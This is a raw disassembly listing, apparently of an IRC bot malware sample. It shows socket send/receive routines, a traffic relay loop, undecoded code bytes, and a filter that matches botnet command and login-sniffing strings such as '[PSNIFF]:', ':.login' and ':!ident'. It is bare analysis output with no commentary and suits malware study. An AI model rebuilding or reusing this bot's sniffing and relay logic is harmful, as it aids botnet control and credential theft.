push 0 push eax lea eax, [ebp+var_1B0] push eax push dword ptr [edi+0Ch] call dword_4CBA24 test eax, eax jle short loc_411A8A lea eax, [ebp+arg_0] push 0 push eax lea eax, [ebp+var_C8] push 0C8h push eax push dword ptr [edi] jmp short loc_411A22 ; --------------------------------------------------------------------------- loc_411A8A: ; CODE XREF: sub_4119F9+2Dj ; sub_4119F9+79j mov esi, dword_427094 call esi cmp eax, 6Dh jz short loc_411AA6 call esi push eax push offset dword_435684 call sub_415DAC pop ecx pop ecx loc_411AA6: ; CODE XREF: sub_4119F9+9Cj pop edi pop esi pop ebx leave retn sub_4119F9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_411AAB proc near ; DATA XREF: sub_4116D6+71o var_DC = byte ptr -0DCh var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = byte ptr -8 var_7 = byte ptr -7 var_6 = byte ptr -6 var_5 = byte ptr -5 var_4 = byte ptr -4 var_3 = byte ptr -3 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 0DCh push ebx push esi xor ebx, ebx push edi mov edi, [ebp+arg_0] xor esi, esi mov [ebp+var_10], ebx mov [ebp+var_C], ebx loc_411AC4: ; CODE XREF: sub_411AAB+39j ; sub_411AAB+D7j ... push ebx lea eax, [ebp+arg_0+3] push 1 push eax push dword ptr [edi+0Ch] call dword_4CB9EC test eax, eax jle loc_411BC9 cmp [ebp+var_10], ebx jbe short loc_411AE6 dec [ebp+var_10] jmp short loc_411AC4 ; --------------------------------------------------------------------------- loc_411AE6: ; CODE XREF: sub_411AAB+34j mov al, byte ptr [ebp+arg_0+3] movsx ecx, al cmp ecx, 0FFh jz loc_411BA9 cmp al, 8 mov [ebp+var_C], ebx jz short loc_411B56 cmp al, 7Fh jz short loc_411B56 cmp al, 3 jnz short loc_411B11 push ebx push ebx nop call near ptr 27A01B0h jmp short loc_411B7D ; --------------------------------------------------------------------------- loc_411B11: ; CODE XREF: sub_411AAB+5Aj cmp al, 15h jnz short loc_411B33 xor esi, esi mov [ebp+var_8], 20h mov [ebp+var_7], 58h mov [ebp+var_6], 58h mov [ebp+var_5], 58h mov [ebp+var_4], 0Dh mov [ebp+var_3], 0Ah push 6 jmp short loc_411B69 ; --------------------------------------------------------------------------- loc_411B33: ; CODE XREF: sub_411AAB+68j mov [ebp+esi+var_DC], al inc esi push 1 cmp al, 0Dh mov [ebp+var_8], al pop ecx jnz short loc_411B6A mov [ebp+esi+var_DC], 0Ah mov [ebp+var_7], 0Ah inc esi push 2 jmp short loc_411B69 ; --------------------------------------------------------------------------- loc_411B56: ; CODE XREF: sub_411AAB+52j ; sub_411AAB+56j cmp esi, ebx jbe short loc_411B80 dec esi mov [ebp+var_8], 8 mov [ebp+var_7], 20h mov [ebp+var_6], 8 push 3 loc_411B69: ; CODE XREF: sub_411AAB+86j ; sub_411AAB+A9j pop ecx loc_411B6A: ; CODE XREF: sub_411AAB+98j push ebx lea eax, [ebp+var_8] push ecx push eax push dword ptr [edi+0Ch] call dword_4CBA24 test eax, eax jle short loc_411BC9 loc_411B7D: ; CODE XREF: sub_411AAB+64j mov al, byte ptr [ebp+arg_0+3] loc_411B80: ; CODE XREF: sub_411AAB+ADj cmp al, 0Dh jnz loc_411AC4 lea eax, [ebp+var_14] push ebx push eax lea eax, [ebp+var_DC] push esi push eax push dword ptr [edi+4] nop call near ptr 2710000h test eax, eax jz short loc_411BC9 xor esi, esi jmp loc_411AC4 ; --------------------------------------------------------------------------- loc_411BA9: ; CODE XREF: sub_411AAB+47j cmp [ebp+var_C], ebx jnz short loc_411BBA mov [ebp+var_C], 1 jmp loc_411AC4 ; --------------------------------------------------------------------------- loc_411BBA: ; CODE XREF: sub_411AAB+101j mov [ebp+var_10], 0Ah mov [ebp+var_C], ebx jmp loc_411AC4 ; --------------------------------------------------------------------------- loc_411BC9: ; CODE XREF: sub_411AAB+2Bj ; sub_411AAB+D0j ... pop edi pop esi pop ebx leave retn sub_411AAB endp ; --------------------------------------------------------------------------- word_411BCE dw 8B55h ; DATA XREF: sub_401ACD+2BC4o dd 0D4EC81ECh, 8B000002h, 56530845h, 8B106A57h, 0BD8D5BF0h dd 0FFFFFF2Ch, 5D892C6Ah, 0A5F359FCh, 0F633016Ah, 0A8B8895Fh dd 53000000h, 56EC458Dh, 0A36AE850h, 0C4830000h, 45C7660Ch dd 0FF0002ECh, 15FFC075h, 4CB9D4h, 6A57066Ah, 45896602h dd 0F07589EEh, 0BA5415FFh, 0F88B004Ch, 69C4458Bh, 234C0h dd 0B8895300h, 43E91Ch, 50EC458Dh, 15FF57h, 85004CBAh dd 21850FC0h, 6A000001h, 15FF570Ah, 4CB9FCh, 850FC085h dd 110h, 0FFC075FFh, 0FFFF2CB5h, 8D98E8FFh, 5059FFFFh dd 0FD2C858Dh, 9468FFFFh, 500042BCh, 0A5E5E8h, 10C48300h dd 75D07539h, 858D5620h, 0FFFFFD2Ch, 50CC75FFh, 0FF30858Dh dd 0FF50FFFFh, 0FFFF2CB5h, 7BC3E8FFh, 0C483FFFFh, 2C858D14h dd 50FFFFFDh, 4083E8h, 458D5900h, 458D50FCh, 0FF5750DCh dd 4CBA6815h, 0C475FF00h, 0B70FD88Bh, 8950DE45h, 75FFD875h dd 6015FFE0h, 50004CBAh, 0FD2C858Dh, 3068FFFFh, 50004357h dd 0A579E8h, 858D5300h, 0FFFFFD2Ch, 0E850196Ah, 0FFFF96BEh dd 69C84589h, 234C0h, 0C44D8B00h, 8920C483h, 43E91488h dd 8458D00h, 2C858D50h, 56FFFFFFh, 1DD36850h, 56560041h dd 0E2D6E890h, 4D8B0227h, 34C969C8h, 3B000002h, 248189C6h dd 740043E9h, 0D8753913h, 0FF63850Fh, 56AFFFFh, 0F16FE890h dd 0EDEB0226h, 27EB63E8h, 8D509002h, 0FFFD2C85h, 56F468FFh dd 0E8500043h, 0A4FEh, 0E90CC483h, 0FFFFFF39h, 6C15FF57h dd 0FF004CBAh, 858DC075h, 0FFFFFD2Ch, 4356C068h, 0DBE85000h dd 830000A4h, 75390CC4h, 562075D0h, 0FD2C858Dh, 75FFFFFFh dd 858D50CCh, 0FFFFFF30h, 2CB5FF50h, 0E8FFFFFFh, 0FFFF7AB9h dd 8D14C483h, 0FFFD2C85h, 79E850FFh, 0FF00003Fh, 0FE8C475h dd 59FFFF99h, 0E8905659h, 22DE230h, 555B5E5Fh, 0EC81EC8Bh dd 5D4h, 5308458Bh, 2C6A5756h, 8D59F08Bh, 0FFFF38BDh, 8BA5F3FFh dd 16AD475h, 69087589h, 234F6h, 0B68D5F00h, 43E91Ch, 0ACB889h dd 0DB330000h, 45C7068Bh, 5F8h, 30858900h, 8DFFFFFAh, 5350F845h dd 0FA2C858Dh, 5053FFFFh, 0FC5D8953h, 0FA2CBD89h, 15FFFFFFh dd 4CB9BCh, 1875C085h, 15FF36FFh, 4CBA6Ch, 0E80875FFh dd 0FFFF988Ah, 0E8905359h, 22DE1ACh, 30858D53h, 68FFFFFBh dd 408h, 0FF36FF50h, 4CB9EC15h, 7FC08500h, 0FF36FF18h dd 4CBA6C15h, 875FF00h, 0FF9859E8h, 0E85359FFh, 22DE17Ch dd 30BD8090h, 4FFFFFBh, 1ED850Fh, 0BD800000h, 0FFFFFB31h dd 0E0850F01h, 38000001h, 7774BC5Dh, 50BC458Dh, 0FB38858Dh dd 0E850FFFFh, 0AB9Ch, 59C08559h, 458D6174h, 858D50BCh dd 0FFFFFB38h, 57F86850h, 0DDE80043h, 6800003Eh, 400h dd 0FB38858Dh, 5053FFFFh, 0FB309D88h, 85C6FFFFh, 0FFFFFB31h dd 0A082E85Dh, 0C4830000h, 30858D18h, 53FFFFFBh, 0FF50086Ah dd 2415FF36h, 0FF004CBAh, 6C15FF36h, 0FF004CBAh, 0C3E80875h dd 59FFFF97h, 0E5E89053h, 6A022DE0h, 0E8458D10h, 49E85053h dd 660000A0h, 0FB32858Bh, 0C483FFFFh, 4589660Ch, 34858BEAh dd 6AFFFFFBh, 26A5706h, 0E845C766h, 45890002h, 5415FFECh dd 8B004CBAh, 0FFFF83F8h, 15FF5D75h, 4CB968h, 57B86850h dd 45E80043h, 6800003Eh, 400h, 0FB38858Dh, 5053FFFFh, 0FB309D88h dd 85C6FFFFh, 0FFFFFB31h, 9FEAE85Bh, 0C4830000h, 30858D14h dd 53FFFFFBh, 0FF50086Ah, 2415FF36h, 0FF004CBAh, 6C15FF36h dd 0FF004CBAh, 2BE80875h, 59FFFF97h, 4DE89053h, 8D022DE0h dd 106AE845h, 15FF5750h, 4CB97Ch, 75FFF883h, 6815FF5Dh dd 50004CB9h, 43577468h, 3DD6E800h, 680000h, 8D000004h dd 0FFFB3885h, 885053FFh, 0FFFB309Dh, 3185C6FFh, 5BFFFFFBh dd 9F7BE8h, 14C48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h dd 0BA2415FFh, 36FF004Ch, 0BA6C15FFh, 75FF004Ch, 96BCE808h dd 5359FFFFh, 2DDFDFE8h, 689002h, 8D000004h, 0FFFB3885h dd 885053FFh, 0FFFB309Dh, 3185C6FFh, 5AFFFFFBh, 9F2FE8h dd 0CC48300h, 0FB30858Dh, 6A53FFFFh, 36FF5008h, 0BA2415FFh dd 36FF004Ch, 39E857h, 59590000h, 6C15FF57h, 0FF004CBAh dd 6C15FF36h, 0FF004CBAh, 5FE80875h, 59FFFF96h, 81E89053h dd 0FF022DDFh, 6C15FF36h, 0FF004CBAh, 47E80875h, 59FFFF96h dd 0DF6AE853h db 2Dh, 2, 90h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 504h push ebx mov ebx, [ebp+0Ch] push esi push edi xor edi, edi mov esi, 400h loc_4120AD: ; CODE XREF: ___:0041215Cj ; ___:0041218Cj mov [ebp-100h], ebx mov dword ptr [ebp-104h], 1 xor ecx, ecx lea eax, [ebp-100h] loc_4120C5: ; CODE XREF: ___:004120D3j mov edx, [ebp+8] cmp [eax], edx jz short loc_4120D5 inc ecx add eax, 4 cmp ecx, 1 jb short loc_4120C5 loc_4120D5: ; CODE XREF: ___:004120CAj cmp ecx, 1 jnz short loc_4120EA mov [ebp-0FCh], edx mov dword ptr [ebp-104h], 2 loc_4120EA: ; CODE XREF: ___:004120D8j push esi lea eax, [ebp-504h] push edi push eax call sub_41BF70 add esp, 0Ch lea eax, [ebp-104h] push edi push edi push edi push eax push edi call dword_4CB9BC lea eax, [ebp-104h] push eax push ebx call dword_4CB8C0 test eax, eax jz short loc_41214A push edi lea eax, [ebp-504h] push esi push eax push ebx call dword_4CB9EC cmp eax, 0FFFFFFFFh jz short loc_412192 push edi push eax lea eax, [ebp-504h] push eax push dword ptr [ebp+8] call dword_4CBA24 cmp eax, 0FFFFFFFFh jz short loc_412192 loc_41214A: ; CODE XREF: ___:0041211Cj lea eax, [ebp-104h] push eax push dword ptr [ebp+8] call dword_4CB8C0 test eax, eax jz loc_4120AD push edi lea eax, [ebp-504h] push esi push eax push dword ptr [ebp+8] call dword_4CB9EC cmp eax, 0FFFFFFFFh jz short loc_412192 push edi push eax lea eax, [ebp-504h] push eax push ebx call dword_4CBA24 cmp eax, 0FFFFFFFFh jnz loc_4120AD loc_412192: ; CODE XREF: ___:00412131j ; ___:00412148j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- byte_412197 db 55h ; DATA XREF: sub_401ACD+20B3o ; sub_40BD91+106o dd 0EC81EC8Bh, 87Ch, 5308558Bh, 16A5756h, 0B958DB33h, 0A9h dd 0BD8DF28Bh, 0FFFFFC8Ch, 0F3026A53h, 9C85FFA5h, 6AFFFFFEh dd 0F0458902h, 89EC4589h, 8289F845h, 2A0h, 0BA5415FFh dd 0F08B004Ch, 75FFFE83h, 1906856h, 0D2E80000h, 900226ECh dd 0FF289D39h, 2375FFFFh, 88858D53h, 0FFFFFFF8h, 0FFFF24B5h dd 858D50FFh, 0FFFFFEA4h, 8CB5FF50h, 0E8FFFFFCh, 0FFFF7655h dd 8D14C483h, 0FFF88885h, 15E850FFh, 0FF00003Bh, 0FFFE98B5h dd 94A8E8FFh, 5959FFFFh, 0C9E89053h, 8D022DDDh, 46AF045h dd 0FFFFBF50h, 46A0000h, 15FF5657h, 4CB9B4h, 6AEC458Dh dd 0FB6A5004h, 15FF5657h, 4CB9B4h, 0FE98858Bh, 106AFFFFh dd 234C069h, 89530000h, 43E91CB0h, 0D4458D00h, 9CF6E850h dd 0C4830000h, 45C7660Ch, 0FF0002D4h, 0FFFEA0B5h, 0D415FFFFh dd 66004CB9h, 8DD64589h, 106AD445h, 5D895650h, 15FFD8h dd 83004CBAh, 1975FFF8h, 138868h, 0AE89000h, 0FF0226ECh dd 0FFFE9C8Dh, 875FFFFh, 32FE9h, 90858D00h, 68FFFFFCh dd 429068h, 9BD0E850h, 3B590000h, 458959C3h, 684C75FCh dd 190h, 0EBD7E890h, 8D530226h, 0FFF88885h, 24B5FFFFh dd 50FFFFFFh, 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 7563E8FFh dd 858DFFFFh, 0FFFFF888h, 3A26E850h, 0B5FF0000h, 0FFFFFE98h dd 0FF93B9E8h, 1CC483FFh, 0DCDAE853h, 8B90022Dh, 9F39087Dh dd 2A0h, 27D840Fh, 80BF0000h, 8D000000h, 0FFFF3085h, 505357FFh dd 5E445C7h, 0C7000000h, 1388E845h, 0B5890000h, 0FFFFF788h dd 0F78485C7h, 1FFFFh, 9E80000h, 8300009Ch, 458D0CC4h dd 8D5350E4h, 0FFF78485h, 535053FFh, 0B9BC15FFh, 0C085004Ch dd 2218E0Fh, 88A00000h, 8B0043DBh, 888588CFh, 33FFFFFAh dd 89BD8DC0h, 0C7FFFFFAh, 10F445h, 0ABF30000h, 8DAAAB66h dd 8D50F445h, 5350C445h, 0FF30858Dh, 8068FFFFh, 50000000h dd 0AC15FF56h, 0FF004CB9h, 4589C875h, 6015FFF8h, 50004CBAh dd 50B0458Dh, 9E8DE8h, 309D3800h, 59FFFFFFh, 0AA850F59h dd 80000001h, 0FFFF31BDh, 850F01FFh, 0A3h, 0FD94858Dh dd 0E850FFFFh, 95C0h, 75FF5353h, 0B681E8FCh, 75FF0000h dd 8C858DFCh, 88FFFFFAh, 0FFFA889Dh, 8985C6FFh, 3FFFFFAh dd 20068h, 50016A00h, 0FA8A9D88h, 85C6FFFFh, 0FFFFFA8Bh dd 96C0E801h, 0C4830000h, 0C44D8D20h, 83F84589h, 75FF04C0h dd 505351F4h, 0FA88858Dh, 5650FFFFh, 0BA3815FFh, 9D39004Ch dd 0FFFFFF28h, 8D532375h, 0FFF88885h, 24B5FFFFh, 50FFFFFFh dd 0FEA4858Dh, 0FF50FFFFh, 0FFFC8CB5h, 73E7E8FFh, 0C483FFFFh dd 88858D14h, 50FFFFF8h, 38A7E8h, 10E95900h, 80000001h dd 0FFFF31BDh, 850F04FFh, 0EDh, 0FF338D8Ah, 858AFFFFh dd 0FFFFFF32h, 88FFF980h, 0FFFA889Dh, 8985C6FFh, 3FFFFFAh dd 0C0FE1275h, 8588C932h, 0FFFFFA8Ah, 0FA8B9D88h, 0EEBFFFFh dd 8588C1FEh, 0FFFFFA8Ah, 0FA8B8D88h, 0B60FFFFFh, 0C9B60FC0h dd 308E0C1h, 200BFC1h, 0E0C10000h, 53C72B09h, 0FC75FF50h dd 0B58AE8h, 0FC75FF00h, 0FA8C858Dh, 6A57FFFFh, 0E7E85001h dd 83000095h, 0F88B1CC4h, 89C4458Dh, 75FFF87Dh, 478D50F4h dd 8D505304h, 0FFFA8885h, 0FF5650FFh, 4CBA3815h, 75FB3B00h dd 0B0458D6Eh, 88858D50h, 68FFFFF8h, 434798h, 9D18E850h dd 0C4830000h, 289D390Ch, 75FFFFFFh, 858D5323h, 0FFFFF888h dd 0FF24B5FFh, 8D50FFFFh, 0FFFEA485h, 0B5FF50FFh, 0FFFFFC8Ch dd 0FF72F0E8h, 14C483FFh, 0F888858Dh, 0E850FFFFh, 37B0h dd 0E4DC05FFh, 0EB59004Ch, 0F475FF16h, 50C4458Dh, 68096A53h dd 435838h, 3815FF56h, 39004CBAh, 8F0FF85Dh, 0FFFFFD77h dd 56087D8Bh, 0BA6C15FFh, 75FF004Ch, 9479E8FCh, 8DFF0000h dd 0FFFFFE9Ch, 2A09F39h, 75590000h, 98B5FF13h, 0E8FFFFFEh dd 0FFFF90FAh, 0E8905359h, 22DDA1Ch, 3E868h, 0CEE89000h dd 570226E8h, 0FFFBA2E8h, 5B5E5FFFh, 4C2C9h ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 200h cmp dword ptr [ebp+98h], 0 jz short loc_41266C push esi mov esi, offset dword_435848 loc_412614: ; CODE XREF: ___:00412667j push esi push dword ptr [ebp+0Ch] call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_41265B push esi lea eax, [ebp-200h] push dword ptr [ebp+8] push offset dword_436BB4 push 200h push eax call sub_41C360 push 0 lea eax, [ebp-200h] push dword ptr [ebp+9Ch] push eax lea eax, [ebp+18h] push eax push dword ptr [ebp+10h] call sub_409869 add esp, 28h loc_41265B: ; CODE XREF: ___:00412621j add esi, 80h cmp esi, offset dword_436448 jb short loc_412614 pop esi jmp short loc_4126A3 ; --------------------------------------------------------------------------- loc_41266C: ; CODE XREF: ___:0041260Cj push dword ptr [ebp+8] lea eax, [ebp-200h] push offset aS_1 ; "%s" push 200h push eax call sub_41C360 push 0 lea eax, [ebp-200h] push dword ptr [ebp+9Ch] push eax lea eax, [ebp+18h] push eax push dword ptr [ebp+10h] call sub_409869 add esp, 24h loc_4126A3: ; CODE XREF: ___:0041266Aj xor eax, eax leave retn ; --------------------------------------------------------------------------- byte_4126A7 db 55h ; DATA XREF: sub_401ACD+7374o dd 0EC81EC8Bh, 920h, 5308458Bh, 0A5835756h, 0FFFFF6E0h dd 83266A00h, 59000865h, 0BD8DF08Bh, 0FFFFFF20h, 80C7A5F3h dd 94h, 1, 0FFB9h, 8DC03300h, 0FFF6E4BDh, 0FFABF3FFh, 4CB95815h dd 0B84D8D00h, 50513C6Ah, 0FFF84589h, 4CB97015h, 200BB00h dd 86A0000h, 26E7B4E8h, 15FF9002h, 4CB958h, 0FF8453Bh dd 16184h, 0B84D8D00h, 50513C6Ah, 0FFF84589h, 4CB97015h dd 0A87D8300h, 0CC840F00h, 8D000000h, 0FFFD2085h, 81E850FFh dd 85000092h, 747659C0h, 50B8458Dh, 9273E8h, 1F88300h dd 8D657359h, 0FFFD2085h, 858D50FFh, 0FFFFFB20h, 436C3C68h dd 0FBE85000h, 8100009Ah, 8CECh, 0B8458D00h, 0FF20B58Dh dd 266AFFFFh, 50FC8B59h, 0FB20858Dh, 0A5F3FFFFh, 0FE6EE850h dd 4589FFFFh, 858D5308h, 0FFFFFD20h, 0E850006Ah, 97D0h dd 0ACC481h, 858D0000h, 0FFFFFB20h, 50006A53h, 97BBE8h dd 0CC48300h, 0FD20858Dh, 0E850FFFFh, 91FCh, 0F59C085h dd 0AD86h, 0B8458D00h, 91EAE850h, 0C0850000h, 9B860F59h dd 8D000000h, 0FFFD2085h, 858D50FFh, 0FFFFFB20h, 436C3C68h dd 6FE85000h, 8100009Ah, 8CECh, 8D34EB00h, 0E850B845h dd 91B8h, 0F59C085h, 11486h, 0B8458D00h, 20858D50h, 50FFFFFDh dd 0FB20858Dh, 1C68FFFFh, 5000436Ch, 9A39E8h, 88EC8100h dd 6A000000h, 0B8458D26h, 20B58D59h, 8BFFFFFFh, 858D50FCh dd 0FFFFFB20h, 0E850A5F3h, 0FFFFFDACh, 53084589h, 0FD20858Dh dd 6AFFFFh, 970EE850h, 0C4810000h, 0ACh, 0FB20858Dh, 6A53FFFFh dd 0F9E85000h, 83000096h, 7D830CC4h, 840F00A8h, 0A1h, 15FF016Ah dd 4CB9A0h, 80013D66h, 8F850Fh, 858D0000h, 0FFFFFD20h dd 911EE850h, 0C0850000h, 0FF7E7659h, 4CB95815h, 0E08D8D00h dd 6AFFFFFAh, 0FF50513Ch, 4CB97015h, 20858D00h, 50FFFFFDh dd 0FB20858Dh, 3C68FFFFh, 5000436Ch, 9991E8h, 8CEC8100h dd 8D000000h, 0FFFAE085h, 20B58DFFh, 6AFFFFFFh, 0FC8B5926h dd 20858D50h, 0F3FFFFFBh, 1E850A5h, 89FFFFFDh, 8D530845h dd 0FFFD2085h, 50006AFFh, 9663E8h, 0ACC48100h, 8D000000h dd 0FFFB2085h, 6A53FFh, 964EE850h, 0C4830000h, 0FC45C70Ch dd 43644Ch, 15FF106Ah, 4CB8A8h, 8BF0BF0Fh, 788BFC45h, 15FF57FCh dd 4CB9A0h, 7480C4F6h, 0FF146A7Bh, 4CB8A815h, 0C0856600h dd 0FE831F74h, 831A7EFFh, 157E40FFh, 7D5BFF83h, 0BD84C710h dd 0FFFFF6E0h, 1, 1BDE9h, 0FF146A00h, 4CB8A815h, 0C0856600h dd 0F6851E74h, 0FF832E7Dh, 83157E40h, 107D5BFFh, 0E0BD84C7h dd 2FFFFF6h, 0E9000000h, 192h, 107DF685h, 0E0BD84C7h, 3FFFFF6h dd 0E9000000h, 17Eh, 0E0BD84C7h, 4FFFFF6h, 0E9000000h dd 16Eh, 0E0BDB48Bh, 8DFFFFF6h, 0F6E0BD84h, 0F685FFFFh dd 158840Fh, 20830000h, 20858D00h, 83FFFFFDh, 755008FFh dd 8FD2E813h, 0A4800000h, 0FFFD1F05h, 0E95900FFh, 136h dd 8FBFE8h, 1B93D00h, 76590000h, 5815FF39h, 8D004CB9h dd 3C6AB84Dh, 15FF5051h, 4CB970h, 0A87D83h, 858D0E74h dd 0FFFFFD20h, 6C046850h, 55EB0043h, 50B8458Dh, 0FD20858Dh dd 6850FFFFh, 436BE8h, 0FF8364EBh, 0B9850F0Dh, 8D000000h dd 0FFFD2085h, 69E850FFh, 8500008Fh, 840F59C0h, 0D2h, 0B95815FFh dd 4D8D004Ch, 513C6AB8h, 7015FF50h, 83004CB9h, 7400A87Dh dd 20858D1Dh, 50FFFFFDh, 436BD468h, 20858D00h, 50FFFFFBh dd 97D5E8h, 0CC48300h, 458D1FEBh, 858D50B8h, 0FFFFFD20h dd 6BBC6850h, 858D0043h, 0FFFFFB20h, 97B4E850h, 0C4830000h dd 98EC8110h, 8D000000h, 0B58DB845h, 0FFFFFF20h, 8B59266Ah dd 858D50FCh, 0FFFFFB20h, 0E850A5F3h, 0FFFFFB24h, 53084589h dd 0FD20858Dh, 6AFFFFh, 9486E850h, 0C4810000h, 0ACh, 0FB20858Dh dd 6A53FFFFh, 71E85000h, 83000094h, 2EEB0CC4h, 7401FE83h dd 3FE8314h, 0FE830F74h, 83057402h, 1A7504FEh, 0EBFC75FFh dd 0FC458B07h, 5007C083h, 0FD20858Dh, 0E850FFFFh, 9D70h dd 45835959h, 7D8114FCh, 436B7CFCh, 0E98C0F00h, 83FFFFFDh dd 0F00087Dh, 0FFFBB584h, 24B5FFFFh, 0E8FFFFFFh, 0FFFF8B7Eh dd 90006A59h, 2DD49FE8h db 2 byte_412B61 db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+4150o dd 102B4B8h, 9992E800h, 558B0000h, 6A575608h, 0F28B5801h dd 0BD8D256Ah, 0FFFFFF4Ch, 0F8458959h, 8289A5F3h, 90h dd 106AF633h, 56E4458Dh, 93D6E850h, 0C4830000h, 45C7660Ch dd 560002E4h, 0B9D415FFh, 0B5FF004Ch, 0FFFFFF4Ch, 0E6458966h dd 0FF7E4DE8h, 0FF5059FFh, 4CBA1415h, 36A5600h, 4589026Ah dd 5415FFE8h, 8B004CBAh, 0FFFF83F8h, 75FC7D89h, 6815FF5Dh dd 50004CB9h, 0FD4C858Dh, 9C68FFFFh, 50004375h, 9675E8h dd 0CC48300h, 75D87539h, 858D5620h, 0FFFFFD4Ch, 50D475FFh dd 0FF50858Dh, 0FF50FFFFh, 0FFFF4CB5h, 6C53E8FFh, 0C483FFFFh dd 4C858D14h, 50FFFFFDh, 3113E8h, 0D075FF00h, 0FF8AA9E8h dd 565959FFh, 0D3CAE890h, 458B022Dh, 69106AD0h, 234C0h dd 1CB88900h, 8D0043E9h, 5750E445h, 0BA0015FFh, 0F883004Ch dd 0FF6475FFh, 4CB96815h, 858D5000h, 0FFFFFD4Ch, 43757068h dd 0F7E85000h, 83000095h, 75390CC4h, 562075D8h, 0FD4C858Dh dd 75FFFFFFh, 858D50D4h, 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh dd 0FFFF6BD5h, 8D14C483h, 0FFFD4C85h, 95E850FFh, 59000030h dd 6C15FF57h, 0FF004CBAh, 23E8D075h, 59FFFF8Ah, 0D346E856h dd 5690022Dh, 56E0458Dh, 8D565650h, 46AF845h, 16850h, 0FF579800h dd 4CB98015h, 0FFF88300h, 15FF6475h, 4CB968h, 4C858D50h dd 68FFFFFDh, 437540h, 9574E850h, 0C4830000h, 0D875390Ch dd 8D562075h, 0FFFD4C85h, 0D475FFFFh, 50858D50h, 50FFFFFFh dd 0FF4CB5FFh, 52E8FFFFh, 83FFFF6Bh, 858D14C4h, 0FFFFFD4Ch dd 3012E850h, 57590000h, 0BA6C15FFh, 75FF004Ch, 89A0E8D0h dd 5659FFFFh, 2DD2C3E8h, 0BB539002h, 436C58h, 0FFFFBFh dd 4C858D00h, 57FFFEFDh, 19E85056h, 83000092h, 858D0CC4h dd 0FFFEFD4Ch, 0FF505756h, 15FFFC75h, 4CB9ECh, 0FFFF883h dd 0FC84h, 55BD8000h, 6FFFEFDh, 858BC675h, 0FFFEFD58h dd 0FD6DBD80h, 8918FFFEh, 0B475F445h, 0FD74858Dh, 3468FFFEh dd 50004375h, 953FE8h, 0C0855900h, 8D9D7559h, 0FEFD7485h dd 752468FFh, 0E8500043h, 9528h, 59C08559h, 0C38B8675h dd 0C085FF33h, 0FF7A840Fh, 5D89FFFFh, 858D5008h, 0FFFEFD74h dd 9506E850h, 85590000h, 0F7559C0h, 8458347h, 8458B18h dd 55E9E375h, 8DFFFFFFh, 0FEFD7485h, 0B5FF50FFh, 0FFFEFD60h dd 0B90415FFh, 0B70F004Ch, 75FF50C0h, 6015FFF4h, 50004CBAh dd 8B7F048Dh, 6C6CC504h, 34FF0043h, 436C4885h, 4C858D00h dd 68FFFFFDh, 4374F0h, 20068h, 29E85000h, 83000095h, 75391CC4h dd 562075D8h, 0FD4C858Dh, 75FFFFFFh, 858D50D4h, 0FFFFFF50h dd 4CB5FF50h, 0E8FFFFFFh, 0FFFF6A0Dh, 8D14C483h, 0FFFD4C85h dd 0CDE850FFh, 5900002Eh, 0FFFED3E9h, 6815FFFFh, 50004CB9h dd 4374C468h, 4C858D00h, 68FFFFFDh, 200h, 94D2E850h, 0C4830000h dd 0D8753910h, 5620755Bh, 0FD4C858Dh, 75FFFFFFh, 858D50D4h dd 0FFFFFF50h, 4CB5FF50h, 0E8FFFFFFh, 0FFFF69B5h, 8D14C483h dd 0FFFD4C85h, 75E850FFh, 5900002Eh, 0FFFC75FFh, 4CBA6C15h dd 0D075FF00h, 0FF8801E8h, 905659FFh, 2DD123E8h db 2 ; =============== S U B R O U T I N E ======================================= sub_412EDD proc near ; CODE XREF: sub_4131EC+213p ; sub_4131EC+239p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov dword_4CE734, eax mov eax, offset dword_4CE734 retn sub_412EDD endp ; =============== S U B R O U T I N E ======================================= sub_412EEC proc near ; CODE XREF: sub_4131EC+2BFp arg_0 = dword ptr 4 push esi mov esi, [esp+4+arg_0] push offset aBotSniff ; "Bot sniff" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_412F06 loc_412F02: ; CODE XREF: sub_412EEC+29j ; sub_412EEC+3Aj ... xor al, al pop esi retn ; --------------------------------------------------------------------------- loc_412F06: ; CODE XREF: sub_412EEC+14j push offset aFaak ; "#FAAK#" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F02 push offset aPsniff_1 ; "[PSNIFF]:" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F02 push offset aPsniff_0 ; "PSNIFF//" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F02 push offset aJoin_0 ; "JOIN #" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jz short loc_412F4E loc_412F4A: ; CODE XREF: sub_412EEC+71j ; sub_412EEC+82j ... mov al, 1 pop esi retn ; --------------------------------------------------------------------------- loc_412F4E: ; CODE XREF: sub_412EEC+5Cj ; DATA XREF: ___:off_43ACE0o push offset a302_0 ; "302 " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset a366 ; "366 " push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset a_login_0 ; ":.login" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset aLogin_1 ; ":!login" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset aLogin_0 ; ":!Login" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset a_login ; ":.Login" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset a_ident ; ":.ident" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz short loc_412F4A push offset aIdent_0 ; ":!ident" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz loc_412F4A push offset a_hashin ; ":.hashin" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx jnz loc_412F4A push offset aHashin ; ":!hashin" push esi call sub_41C2E0 pop ecx test eax, eax pop ecx pop esi setnz al retn sub_412EEC endp ; =============== S U B R O U T I N E ======================================= 